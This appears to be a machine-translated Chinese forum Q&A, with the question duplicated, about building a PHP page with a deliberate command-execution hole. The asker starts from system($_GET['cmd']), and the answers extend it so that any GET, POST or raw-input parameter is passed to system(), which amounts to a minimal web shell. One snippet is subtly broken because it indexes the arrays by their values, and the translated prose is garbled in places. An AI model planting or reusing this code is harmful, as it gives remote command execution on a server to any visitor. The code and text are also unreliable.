我試圖做一個簡單的頁面命令執行漏洞...這是我的代碼:PHP的 - 任何參數和任何方法取一個值
system($_GET['cmd']);
它工作正常,像這樣:http://example/index.php?cmd=ls
問題是,我想使這個小碼與任何參數和任何方法(GET或POST)
例如,如果任何參數使用,那麼它仍然會通過系統的方法,即工作: 「你好= LS」。 (我不知道他們在哪裏使用hello
爲關鍵。任何想法?
我試圖做一個簡單的頁面命令執行漏洞...這是我的代碼:PHP的 - 任何參數和任何方法取一個值
system($_GET['cmd']);
它工作正常,像這樣:http://example/index.php?cmd=ls
問題是,我想使這個小碼與任何參數和任何方法(GET或POST)
例如,如果任何參數使用,那麼它仍然會通過系統的方法,即工作: 「你好= LS」。 (我不知道他們在哪裏使用hello
爲關鍵。任何想法?
你可以每個索引鍵存儲在一個數組,然後循環設定值。
$keys = ['cmd', 'hello', 'etc..']; // jus add your params
// GET params
foreach($keys as $_key) {
if(isset($_GET[$_key]) && !empty($_GET[$_key])) {
system($_GET[$_key]);
}
}
// POST params
foreach($keys as $_key) {
if(isset($_POST[$_key]) && !empty($_POST[$_key])) {
system($_POST[$_key]);
}
}
如果你不想知道關鍵的POST/GET則:
foreach($_GET as $key) {
system($_GET[$key]);
}
foreach($_POST as $key) {
system($_POST[$key]);
}
你可以嘗試使用: file_get_contents('php://input');
獲得原始輸入
使用'$ _REQUEST'然後 –